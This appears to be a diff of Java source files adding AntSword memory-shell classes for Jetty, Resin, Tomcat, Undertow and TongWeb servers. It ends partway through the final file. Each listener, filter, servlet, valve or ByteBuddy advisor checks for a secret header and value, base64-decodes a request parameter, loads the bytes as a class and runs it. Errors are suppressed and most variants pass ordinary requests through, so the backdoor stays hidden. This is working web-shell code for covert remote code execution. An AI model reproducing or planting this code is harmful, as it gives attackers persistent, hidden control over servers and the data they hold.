|
||||
@SuppressWarnings("all")
|
||||
public static Object getFieldValue(Object obj, String name) throws Exception {
|
||||
Field field = null;
|
||||
Class<?> clazz = obj.getClass();
|
||||
while (clazz != Object.class) {
|
||||
try {
|
||||
field = clazz.getDeclaredField(name);
|
||||
break;
|
||||
} catch (NoSuchFieldException var5) {
|
||||
clazz = clazz.getSuperclass();
|
||||
}
|
||||
}
|
||||
if (field == null) {
|
||||
throw new NoSuchFieldException(name);
|
||||
} else {
|
||||
field.setAccessible(true);
|
||||
return field.get(obj);
|
||||
}
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static byte[] base64Decode(String bs) {
|
||||
byte[] value = null;
|
||||
Class<?> base64;
|
||||
try {
|
||||
base64 = Class.forName("java.util.Base64");
|
||||
Object decoder = base64.getMethod("getDecoder", (Class<?>[]) null).invoke(base64, (Object[]) null);
|
||||
value = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs);
|
||||
} catch (Exception var6) {
|
||||
try {
|
||||
base64 = Class.forName("sun.misc.BASE64Decoder");
|
||||
Object decoder = base64.newInstance();
|
||||
value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs);
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
}
|
||||
return value;
|
||||
}
|
||||
|
||||
@SuppressWarnings("deprecation")
|
||||
public Class<?> g(byte[] cb) {
|
||||
return super.defineClass(cb, 0, cb.length);
|
||||
}
|
||||
|
||||
@Override
|
||||
public void requestDestroyed(ServletRequestEvent servletRequestEvent) {
|
||||
}
|
||||
|
||||
@Override
|
||||
@SuppressWarnings("all")
|
||||
public void requestInitialized(ServletRequestEvent servletRequestEvent) {
|
||||
HttpServletRequest request = (HttpServletRequest) servletRequestEvent.getServletRequest();
|
||||
try {
|
||||
if (request.getHeader(headerName) != null
|
||||
&& request.getHeader(headerName).contains(headerValue)) {
|
||||
HttpServletResponse response = getResponseFromRequest(request);
|
||||
byte[] bytes = base64Decode(request.getParameter(pass));
|
||||
Object instance = (new AntSwordListener(this.getClass().getClassLoader())).g(bytes).newInstance();
|
||||
instance.equals(new Object[]{request, response});
|
||||
}
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
}
|
||||
|
||||
private HttpServletResponse getResponseFromRequest(HttpServletRequest request) throws Exception {
|
||||
HttpServletResponse response = null;
|
||||
try {
|
||||
response = (HttpServletResponse) getFieldValue(getFieldValue(request, "_channel"), "_response");
|
||||
} catch (Exception e) {
|
||||
response = (HttpServletResponse) getFieldValue(getFieldValue(request, "_connection"), "_response");
|
||||
}
|
||||
return response;
|
||||
}
|
||||
}
|
||||
+94
@@ -0,0 +1,94 @@
|
||||
package com.reajason.javaweb.memshell.resin.antsword;
|
||||
|
||||
import javax.servlet.ServletRequestEvent;
|
||||
import javax.servlet.ServletRequestListener;
|
||||
import javax.servlet.http.HttpServletRequest;
|
||||
import javax.servlet.http.HttpServletResponse;
|
||||
import java.lang.reflect.Field;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2024/12/21
|
||||
*/
|
||||
public class AntSwordListener extends ClassLoader implements ServletRequestListener {
|
||||
public static String pass;
|
||||
public static String headerName;
|
||||
public static String headerValue;
|
||||
|
||||
public AntSwordListener() {
|
||||
}
|
||||
|
||||
public AntSwordListener(ClassLoader z) {
|
||||
super(z);
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static Object getFieldValue(Object obj, String name) throws Exception {
|
||||
Field field = null;
|
||||
Class<?> clazz = obj.getClass();
|
||||
while (clazz != Object.class) {
|
||||
try {
|
||||
field = clazz.getDeclaredField(name);
|
||||
break;
|
||||
} catch (NoSuchFieldException var5) {
|
||||
clazz = clazz.getSuperclass();
|
||||
}
|
||||
}
|
||||
if (field == null) {
|
||||
throw new NoSuchFieldException(name);
|
||||
} else {
|
||||
field.setAccessible(true);
|
||||
return field.get(obj);
|
||||
}
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static byte[] base64Decode(String bs) {
|
||||
byte[] value = null;
|
||||
Class<?> base64;
|
||||
try {
|
||||
base64 = Class.forName("java.util.Base64");
|
||||
Object decoder = base64.getMethod("getDecoder", (Class<?>[]) null).invoke(base64, (Object[]) null);
|
||||
value = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs);
|
||||
} catch (Exception var6) {
|
||||
try {
|
||||
base64 = Class.forName("sun.misc.BASE64Decoder");
|
||||
Object decoder = base64.newInstance();
|
||||
value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs);
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
}
|
||||
return value;
|
||||
}
|
||||
|
||||
@SuppressWarnings("deprecation")
|
||||
public Class<?> g(byte[] cb) {
|
||||
return super.defineClass(cb, 0, cb.length);
|
||||
}
|
||||
|
||||
@Override
|
||||
public void requestDestroyed(ServletRequestEvent servletRequestEvent) {
|
||||
}
|
||||
|
||||
@Override
|
||||
@SuppressWarnings("all")
|
||||
public void requestInitialized(ServletRequestEvent servletRequestEvent) {
|
||||
HttpServletRequest request = (HttpServletRequest) servletRequestEvent.getServletRequest();
|
||||
try {
|
||||
if (request.getHeader(headerName) != null
|
||||
&& request.getHeader(headerName).contains(headerValue)) {
|
||||
HttpServletResponse response = getResponseFromRequest(request);
|
||||
byte[] bytes = base64Decode(request.getParameter(pass));
|
||||
Object instance = (new AntSwordListener(this.getClass().getClassLoader())).g(bytes).newInstance();
|
||||
instance.equals(new Object[]{request, response});
|
||||
}
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
}
|
||||
|
||||
private HttpServletResponse getResponseFromRequest(HttpServletRequest request) throws Exception {
|
||||
HttpServletResponse response = null;
|
||||
response = (HttpServletResponse) getFieldValue(request, "_response");
|
||||
return response;
|
||||
}
|
||||
}
|
||||
+80
@@ -0,0 +1,80 @@
|
||||
package com.reajason.javaweb.memshell.shelltool.antsword;
|
||||
|
||||
import javax.crypto.Cipher;
|
||||
import javax.crypto.spec.SecretKeySpec;
|
||||
import javax.servlet.*;
|
||||
import javax.servlet.http.HttpServletRequest;
|
||||
import javax.servlet.http.HttpServletResponse;
|
||||
import javax.servlet.http.HttpSession;
|
||||
import java.io.IOException;
|
||||
import java.lang.reflect.Field;
|
||||
import java.util.HashMap;
|
||||
import java.util.Map;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2025/02/18
|
||||
*/
|
||||
public class AntSwordFilter extends ClassLoader implements Filter {
|
||||
public static String pass;
|
||||
public static String headerName;
|
||||
public static String headerValue;
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public Class<?> g(byte[] b) {
|
||||
return super.defineClass(b, 0, b.length);
|
||||
}
|
||||
|
||||
public AntSwordFilter() {
|
||||
}
|
||||
|
||||
public AntSwordFilter(ClassLoader c) {
|
||||
super(c);
|
||||
}
|
||||
|
||||
@Override
|
||||
@SuppressWarnings("all")
|
||||
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
|
||||
HttpServletRequest request = (HttpServletRequest) servletRequest;
|
||||
HttpServletResponse response = (HttpServletResponse) servletResponse;
|
||||
|
||||
try {
|
||||
if (request.getHeader(this.headerName) != null && request.getHeader(this.headerName).contains(this.headerValue)) {
|
||||
byte[] bytes = base64Decode(request.getParameter(pass));
|
||||
Object instance = (new AntSwordFilter(this.getClass().getClassLoader())).g(bytes).newInstance();
|
||||
instance.equals(new Object[]{request, response});
|
||||
} else {
|
||||
filterChain.doFilter(servletRequest, servletResponse);
|
||||
}
|
||||
} catch (Exception e) {
|
||||
filterChain.doFilter(servletRequest, servletResponse);
|
||||
}
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static byte[] base64Decode(String bs) {
|
||||
byte[] value = null;
|
||||
Class<?> base64;
|
||||
try {
|
||||
base64 = Class.forName("java.util.Base64");
|
||||
Object decoder = base64.getMethod("getDecoder", (Class<?>[]) null).invoke(base64, (Object[]) null);
|
||||
value = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs);
|
||||
} catch (Exception var6) {
|
||||
try {
|
||||
base64 = Class.forName("sun.misc.BASE64Decoder");
|
||||
Object decoder = base64.newInstance();
|
||||
value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs);
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
}
|
||||
return value;
|
||||
}
|
||||
|
||||
@Override
|
||||
public void init(FilterConfig filterConfig) throws ServletException {
|
||||
}
|
||||
|
||||
@Override
|
||||
public void destroy() {
|
||||
}
|
||||
}
|
||||
+51
@@ -0,0 +1,51 @@
|
||||
package com.reajason.javaweb.memshell.shelltool.antsword;
|
||||
|
||||
import net.bytebuddy.asm.Advice;
|
||||
|
||||
import java.io.BufferedReader;
|
||||
import java.lang.reflect.Field;
|
||||
import java.lang.reflect.Method;
|
||||
import java.util.HashMap;
|
||||
import java.util.Map;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
*/
|
||||
public class AntSwordFilterChainAdvisor {
|
||||
|
||||
@Advice.OnMethodEnter(skipOn = Advice.OnNonDefaultValue.class)
|
||||
public static boolean enter(
|
||||
@Advice.Argument(value = 0) Object request,
|
||||
@Advice.Argument(value = 1) Object response
|
||||
) {
|
||||
String pass = "pass";
|
||||
String headerName = "headerName";
|
||||
String headerValue = "headerValue";
|
||||
try {
|
||||
String value = (String) request.getClass().getMethod("getHeader", String.class).invoke(request, headerName);
|
||||
if (value != null && value.contains(headerValue)) {
|
||||
byte[] data = null;
|
||||
Class<?> base64;
|
||||
String parameter = (String) request.getClass().getMethod("getParameter", String.class).invoke(request, pass);
|
||||
try {
|
||||
base64 = Class.forName("java.util.Base64", true, Thread.currentThread().getContextClassLoader());
|
||||
Object decoder = base64.getMethod("getDecoder", (Class<?>[]) null).invoke(base64, (Object[]) null);
|
||||
data = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, parameter);
|
||||
} catch (Exception var6) {
|
||||
base64 = Class.forName("sun.misc.BASE64Decoder", true, Thread.currentThread().getContextClassLoader());
|
||||
Object decoder = base64.newInstance();
|
||||
data = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, parameter);
|
||||
}
|
||||
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
|
||||
defineClass.setAccessible(true);
|
||||
Class<?> payload = (Class<?>) defineClass.invoke(Thread.currentThread().getContextClassLoader(), data, 0, data.length);
|
||||
Object instance = payload.newInstance();
|
||||
instance.equals(new Object[]{request, response});
|
||||
return true;
|
||||
}
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
return false;
|
||||
}
|
||||
}
|
||||
+85
@@ -0,0 +1,85 @@
|
||||
package com.reajason.javaweb.memshell.shelltool.antsword;
|
||||
|
||||
import javax.servlet.*;
|
||||
import javax.servlet.http.HttpServletRequest;
|
||||
import javax.servlet.http.HttpServletResponse;
|
||||
import java.io.IOException;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2025/02/18
|
||||
*/
|
||||
public class AntSwordServlet extends ClassLoader implements Servlet {
|
||||
|
||||
public static String pass;
|
||||
public static String headerName;
|
||||
public static String headerValue;
|
||||
|
||||
@Override
|
||||
@SuppressWarnings("all")
|
||||
public void service(ServletRequest req, ServletResponse res) throws ServletException, IOException {
|
||||
HttpServletRequest request = (HttpServletRequest) req;
|
||||
HttpServletResponse response = (HttpServletResponse) res;
|
||||
try {
|
||||
if (request.getHeader(headerName) != null && request.getHeader(headerName).contains(headerValue)) {
|
||||
byte[] bytes = base64Decode(request.getParameter(pass));
|
||||
Object instance = (new AntSwordServlet(this.getClass().getClassLoader())).g(bytes).newInstance();
|
||||
instance.equals(new Object[]{request, response});
|
||||
}
|
||||
} catch (Exception ignored) {
|
||||
|
||||
}
|
||||
}
|
||||
|
||||
@Override
|
||||
public String getServletInfo() {
|
||||
return "";
|
||||
}
|
||||
|
||||
@Override
|
||||
public void destroy() {
|
||||
|
||||
}
|
||||
|
||||
public AntSwordServlet() {
|
||||
}
|
||||
|
||||
public AntSwordServlet(ClassLoader parent) {
|
||||
super(parent);
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public Class<?> g(byte[] cb) {
|
||||
return super.defineClass(cb, 0, cb.length);
|
||||
}
|
||||
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static byte[] base64Decode(String bs) {
|
||||
byte[] value = null;
|
||||
Class<?> base64;
|
||||
try {
|
||||
base64 = Class.forName("java.util.Base64");
|
||||
Object decoder = base64.getMethod("getDecoder", (Class<?>[]) null).invoke(base64, (Object[]) null);
|
||||
value = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs);
|
||||
} catch (Exception var6) {
|
||||
try {
|
||||
base64 = Class.forName("sun.misc.BASE64Decoder");
|
||||
Object decoder = base64.newInstance();
|
||||
value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs);
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
}
|
||||
return value;
|
||||
}
|
||||
|
||||
@Override
|
||||
public void init(ServletConfig config) throws ServletException {
|
||||
|
||||
}
|
||||
|
||||
@Override
|
||||
public ServletConfig getServletConfig() {
|
||||
return null;
|
||||
}
|
||||
}
|
||||
+88
@@ -0,0 +1,88 @@
|
||||
package com.reajason.javaweb.memshell.shelltool.antsword;
|
||||
|
||||
import org.apache.catalina.Valve;
|
||||
import org.apache.catalina.connector.Request;
|
||||
import org.apache.catalina.connector.Response;
|
||||
|
||||
import javax.servlet.ServletException;
|
||||
import java.io.IOException;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2025/02/18
|
||||
*/
|
||||
public class AntSwordValve extends ClassLoader implements Valve {
|
||||
public static String pass;
|
||||
public static String headerName;
|
||||
public static String headerValue;
|
||||
protected Valve next;
|
||||
protected boolean asyncSupported;
|
||||
|
||||
public AntSwordValve() {
|
||||
}
|
||||
|
||||
public AntSwordValve(ClassLoader z) {
|
||||
super(z);
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static byte[] base64Decode(String bs) {
|
||||
byte[] value = null;
|
||||
Class base64;
|
||||
try {
|
||||
base64 = Class.forName("java.util.Base64");
|
||||
Object decoder = base64.getMethod("getDecoder", (Class[]) null).invoke(base64, (Object[]) null);
|
||||
value = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs);
|
||||
} catch (Exception var6) {
|
||||
try {
|
||||
base64 = Class.forName("sun.misc.BASE64Decoder");
|
||||
Object decoder = base64.newInstance();
|
||||
value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs);
|
||||
} catch (Exception var5) {
|
||||
}
|
||||
}
|
||||
return value;
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public Class g(byte[] cb) {
|
||||
return super.defineClass(cb, 0, cb.length);
|
||||
}
|
||||
|
||||
@Override
|
||||
public Valve getNext() {
|
||||
return this.next;
|
||||
}
|
||||
|
||||
@Override
|
||||
public void setNext(Valve valve) {
|
||||
this.next = valve;
|
||||
}
|
||||
|
||||
@Override
|
||||
public boolean isAsyncSupported() {
|
||||
return this.asyncSupported;
|
||||
}
|
||||
|
||||
@Override
|
||||
public void backgroundProcess() {
|
||||
}
|
||||
|
||||
@Override
|
||||
@SuppressWarnings("all")
|
||||
public void invoke(Request request, Response response) throws IOException, ServletException {
|
||||
try {
|
||||
if (request.getHeader(headerName) != null
|
||||
&& request.getHeader(headerName).contains(headerValue)) {
|
||||
byte[] bytes = base64Decode(request.getParameter(pass));
|
||||
Object instance = (new AntSwordValve(this.getClass().getClassLoader())).g(bytes).newInstance();
|
||||
instance.equals(new Object[]{request, response});
|
||||
} else {
|
||||
this.getNext().invoke(request, response);
|
||||
}
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace();
|
||||
this.getNext().invoke(request, response);
|
||||
}
|
||||
}
|
||||
}
|
||||
+105
@@ -0,0 +1,105 @@
|
||||
package com.reajason.javaweb.memshell.tomcat.antsword;
|
||||
|
||||
import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordFilter;
|
||||
|
||||
import javax.crypto.Cipher;
|
||||
import javax.crypto.spec.SecretKeySpec;
|
||||
import javax.servlet.ServletRequestEvent;
|
||||
import javax.servlet.ServletRequestListener;
|
||||
import javax.servlet.http.HttpServletRequest;
|
||||
import javax.servlet.http.HttpServletResponse;
|
||||
import javax.servlet.http.HttpSession;
|
||||
import java.lang.reflect.Field;
|
||||
import java.util.HashMap;
|
||||
import java.util.Map;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2024/12/21
|
||||
*/
|
||||
public class AntSwordListener extends ClassLoader implements ServletRequestListener {
|
||||
public static String pass;
|
||||
public static String headerName;
|
||||
public static String headerValue;
|
||||
|
||||
public AntSwordListener() {
|
||||
}
|
||||
|
||||
public AntSwordListener(ClassLoader z) {
|
||||
super(z);
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static Object getFieldValue(Object obj, String name) throws Exception {
|
||||
Field field = null;
|
||||
Class<?> clazz = obj.getClass();
|
||||
while (clazz != Object.class) {
|
||||
try {
|
||||
field = clazz.getDeclaredField(name);
|
||||
break;
|
||||
} catch (NoSuchFieldException var5) {
|
||||
clazz = clazz.getSuperclass();
|
||||
}
|
||||
}
|
||||
if (field == null) {
|
||||
throw new NoSuchFieldException(name);
|
||||
} else {
|
||||
field.setAccessible(true);
|
||||
return field.get(obj);
|
||||
}
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static byte[] base64Decode(String bs) {
|
||||
byte[] value = null;
|
||||
Class<?> base64;
|
||||
try {
|
||||
base64 = Class.forName("java.util.Base64");
|
||||
Object decoder = base64.getMethod("getDecoder", (Class<?>[]) null).invoke(base64, (Object[]) null);
|
||||
value = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs);
|
||||
} catch (Exception var6) {
|
||||
try {
|
||||
base64 = Class.forName("sun.misc.BASE64Decoder");
|
||||
Object decoder = base64.newInstance();
|
||||
value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs);
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
}
|
||||
return value;
|
||||
}
|
||||
|
||||
@SuppressWarnings("deprecation")
|
||||
public Class<?> g(byte[] cb) {
|
||||
return super.defineClass(cb, 0, cb.length);
|
||||
}
|
||||
|
||||
@Override
|
||||
public void requestDestroyed(ServletRequestEvent servletRequestEvent) {
|
||||
}
|
||||
|
||||
@Override
|
||||
@SuppressWarnings("all")
|
||||
public void requestInitialized(ServletRequestEvent servletRequestEvent) {
|
||||
HttpServletRequest request = (HttpServletRequest) servletRequestEvent.getServletRequest();
|
||||
try {
|
||||
if (request.getHeader(headerName) != null
|
||||
&& request.getHeader(headerName).contains(headerValue)) {
|
||||
HttpServletResponse response = getResponseFromRequest(request);
|
||||
byte[] bytes = base64Decode(request.getParameter(pass));
|
||||
Object instance = (new AntSwordListener(this.getClass().getClassLoader())).g(bytes).newInstance();
|
||||
instance.equals(new Object[]{request, response});
|
||||
}
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
}
|
||||
|
||||
private HttpServletResponse getResponseFromRequest(HttpServletRequest request) throws Exception {
|
||||
HttpServletResponse response = null;
|
||||
try {
|
||||
response = (HttpServletResponse) getFieldValue(getFieldValue(request, "request"), "response");
|
||||
} catch (Exception e) {
|
||||
response = (HttpServletResponse) getFieldValue(request, "response");
|
||||
}
|
||||
return response;
|
||||
}
|
||||
}
|
||||
+99
@@ -0,0 +1,99 @@
|
||||
package com.reajason.javaweb.memshell.tongweb.antsword;
|
||||
|
||||
import com.tongweb.web.thor.Valve;
|
||||
import com.tongweb.web.thor.comet.CometEvent;
|
||||
import com.tongweb.web.thor.connector.Request;
|
||||
import com.tongweb.web.thor.connector.Response;
|
||||
|
||||
import javax.servlet.ServletException;
|
||||
import java.io.IOException;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2025/02/18
|
||||
*/
|
||||
public class AntSwordValve6 extends ClassLoader implements Valve {
|
||||
public static String pass;
|
||||
public static String headerName;
|
||||
public static String headerValue;
|
||||
protected Valve next;
|
||||
protected boolean asyncSupported;
|
||||
|
||||
public AntSwordValve6() {
|
||||
}
|
||||
|
||||
public AntSwordValve6(ClassLoader z) {
|
||||
super(z);
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static byte[] base64Decode(String bs) {
|
||||
byte[] value = null;
|
||||
Class base64;
|
||||
try {
|
||||
base64 = Class.forName("java.util.Base64");
|
||||
Object decoder = base64.getMethod("getDecoder", (Class[]) null).invoke(base64, (Object[]) null);
|
||||
value = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs);
|
||||
} catch (Exception var6) {
|
||||
try {
|
||||
base64 = Class.forName("sun.misc.BASE64Decoder");
|
||||
Object decoder = base64.newInstance();
|
||||
value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs);
|
||||
} catch (Exception var5) {
|
||||
}
|
||||
}
|
||||
return value;
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public Class g(byte[] cb) {
|
||||
return super.defineClass(cb, 0, cb.length);
|
||||
}
|
||||
|
||||
@Override
|
||||
public String getInfo() {
|
||||
return "";
|
||||
}
|
||||
|
||||
@Override
|
||||
public Valve getNext() {
|
||||
return this.next;
|
||||
}
|
||||
|
||||
@Override
|
||||
public void setNext(Valve valve) {
|
||||
this.next = valve;
|
||||
}
|
||||
|
||||
@Override
|
||||
public boolean isAsyncSupported() {
|
||||
return this.asyncSupported;
|
||||
}
|
||||
|
||||
@Override
|
||||
public void backgroundProcess() {
|
||||
}
|
||||
|
||||
@Override
|
||||
@SuppressWarnings("all")
|
||||
public void invoke(Request request, Response response) throws IOException, ServletException {
|
||||
try {
|
||||
if (request.getHeader(headerName) != null
|
||||
&& request.getHeader(headerName).contains(headerValue)) {
|
||||
byte[] bytes = base64Decode(request.getParameter(pass));
|
||||
Object instance = (new AntSwordValve6(this.getClass().getClassLoader())).g(bytes).newInstance();
|
||||
instance.equals(new Object[]{request, response});
|
||||
} else {
|
||||
this.getNext().invoke(request, response);
|
||||
}
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace();
|
||||
this.getNext().invoke(request, response);
|
||||
}
|
||||
}
|
||||
|
||||
@Override
|
||||
public void event(Request var1, Response var2, CometEvent var3) throws IOException, ServletException {
|
||||
|
||||
}
|
||||
}
|
||||
+88
@@ -0,0 +1,88 @@
|
||||
package com.reajason.javaweb.memshell.tongweb.antsword;
|
||||
|
||||
import com.tongweb.catalina.Valve;
|
||||
import com.tongweb.catalina.connector.Request;
|
||||
import com.tongweb.catalina.connector.Response;
|
||||
|
||||
import javax.servlet.ServletException;
|
||||
import java.io.IOException;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2025/02/18
|
||||
*/
|
||||
public class AntSwordValve7 extends ClassLoader implements Valve {
|
||||
public static String pass;
|
||||
public static String headerName;
|
||||
public static String headerValue;
|
||||
protected Valve next;
|
||||
protected boolean asyncSupported;
|
||||
|
||||
public AntSwordValve7() {
|
||||
}
|
||||
|
||||
public AntSwordValve7(ClassLoader z) {
|
||||
super(z);
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static byte[] base64Decode(String bs) {
|
||||
byte[] value = null;
|
||||
Class base64;
|
||||
try {
|
||||
base64 = Class.forName("java.util.Base64");
|
||||
Object decoder = base64.getMethod("getDecoder", (Class[]) null).invoke(base64, (Object[]) null);
|
||||
value = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs);
|
||||
} catch (Exception var6) {
|
||||
try {
|
||||
base64 = Class.forName("sun.misc.BASE64Decoder");
|
||||
Object decoder = base64.newInstance();
|
||||
value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs);
|
||||
} catch (Exception var5) {
|
||||
}
|
||||
}
|
||||
return value;
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public Class g(byte[] cb) {
|
||||
return super.defineClass(cb, 0, cb.length);
|
||||
}
|
||||
|
||||
@Override
|
||||
public Valve getNext() {
|
||||
return this.next;
|
||||
}
|
||||
|
||||
@Override
|
||||
public void setNext(Valve valve) {
|
||||
this.next = valve;
|
||||
}
|
||||
|
||||
@Override
|
||||
public boolean isAsyncSupported() {
|
||||
return this.asyncSupported;
|
||||
}
|
||||
|
||||
@Override
|
||||
public void backgroundProcess() {
|
||||
}
|
||||
|
||||
@Override
|
||||
@SuppressWarnings("all")
|
||||
public void invoke(Request request, Response response) throws IOException, ServletException {
|
||||
try {
|
||||
if (request.getHeader(headerName) != null
|
||||
&& request.getHeader(headerName).contains(headerValue)) {
|
||||
byte[] bytes = base64Decode(request.getParameter(pass));
|
||||
Object instance = (new AntSwordValve7(this.getClass().getClassLoader())).g(bytes).newInstance();
|
||||
instance.equals(new Object[]{request, response});
|
||||
} else {
|
||||
this.getNext().invoke(request, response);
|
||||
}
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace();
|
||||
this.getNext().invoke(request, response);
|
||||
}
|
||||
}
|
||||
}
|
||||
+102
@@ -0,0 +1,102 @@
|
||||
package com.reajason.javaweb.memshell.undertow.antsword;
|
||||
|
||||
import javax.servlet.ServletRequestEvent;
|
||||
import javax.servlet.ServletRequestListener;
|
||||
import javax.servlet.http.HttpServletRequest;
|
||||
import javax.servlet.http.HttpServletResponse;
|
||||
import java.lang.reflect.Field;
|
||||
import java.util.Map;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2024/12/21
|
||||
*/
|
||||
public class AntSwordListener extends ClassLoader implements ServletRequestListener {
|
||||
public static String pass;
|
||||
public static String headerName;
|
||||
public static String headerValue;
|
||||
|
||||
public AntSwordListener() {
|
||||
}
|
||||
|
||||
public AntSwordListener(ClassLoader z) {
|
||||
super(z);
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static Object getFieldValue(Object obj, String name) throws Exception {
|
||||
Field field = null;
|
||||
Class<?> clazz = obj.getClass();
|
||||
while (clazz != Object.class) {
|
||||
try {
|
||||
field = clazz.getDeclaredField(name);
|
||||
break;
|
||||
} catch (NoSuchFieldException var5) {
|
||||
clazz = clazz.getSuperclass();
|
||||
}
|
||||
}
|
||||
if (field == null) {
|
||||
throw new NoSuchFieldException(name);
|
||||
} else {
|
||||
field.setAccessible(true);
|
||||
return field.get(obj);
|
||||
}
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static byte[] base64Decode(String bs) {
|
||||
byte[] value = null;
|
||||
Class<?> base64;
|
||||
try {
|
||||
base64 = Class.forName("java.util.Base64");
|
||||
Object decoder = base64.getMethod("getDecoder", (Class<?>[]) null).invoke(base64, (Object[]) null);
|
||||
value = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs);
|
||||
} catch (Exception var6) {
|
||||
try {
|
||||
base64 = Class.forName("sun.misc.BASE64Decoder");
|
||||
Object decoder = base64.newInstance();
|
||||
value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs);
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
}
|
||||
return value;
|
||||
}
|
||||
|
||||
@SuppressWarnings("deprecation")
|
||||
public Class<?> g(byte[] cb) {
|
||||
return super.defineClass(cb, 0, cb.length);
|
||||
}
|
||||
|
||||
@Override
|
||||
public void requestDestroyed(ServletRequestEvent servletRequestEvent) {
|
||||
}
|
||||
|
||||
@Override
|
||||
@SuppressWarnings("all")
|
||||
public void requestInitialized(ServletRequestEvent servletRequestEvent) {
|
||||
HttpServletRequest request = (HttpServletRequest) servletRequestEvent.getServletRequest();
|
||||
try {
|
||||
if (request.getHeader(headerName) != null
|
||||
&& request.getHeader(headerName).contains(headerValue)) {
|
||||
HttpServletResponse response = getResponseFromRequest(request);
|
||||
byte[] bytes = base64Decode(request.getParameter(pass));
|
||||
Object instance = (new AntSwordListener(this.getClass().getClassLoader())).g(bytes).newInstance();
|
||||
instance.equals(new Object[]{request, response});
|
||||
}
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
}
|
||||
|
||||
private HttpServletResponse getResponseFromRequest(HttpServletRequest request) throws Exception {
|
||||
HttpServletResponse response = null;
|
||||
Map<?, ?> map = (Map<?, ?>) getFieldValue(getFieldValue(request, "exchange"), "attachments");
|
||||
Object[] keys = map.keySet().toArray();
|
||||
for (Object key : keys) {
|
||||
if (map.get(key).toString().contains("ServletRequestContext")) {
|
||||
response = (HttpServletResponse) getFieldValue(map.get(key), "servletResponse");
|
||||
break;
|
||||
}
|
||||
}
|
||||
return response;
|
||||
}
|
||||
}
|
||||
+55
@@ -0,0 +1,55 @@
|
||||
package com.reajason.javaweb.memshell.undertow.antsword;
|
||||
|
||||
import net.bytebuddy.asm.Advice;
|
||||
|
||||
import java.lang.reflect.Method;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
*/
|
||||
public class AntSwordServletInitialHandlerAdvisor {
|
||||
|
||||
@Advice.OnMethodEnter(skipOn = Advice.OnNonDefaultValue.class)
|
||||
public static boolean enter(
|
||||
@Advice.AllArguments Object[] args
|
||||
) {
|
||||
String pass = "pass";
|
||||
String headerName = "headerName";
|
||||
String headerValue = "headerValue";
|
||||
try {
|
||||
Object servletRequestContext = null;
|
||||
if (args.length == 2) {
|
||||
servletRequestContext = args[1];
|
||||
} else {
|
||||
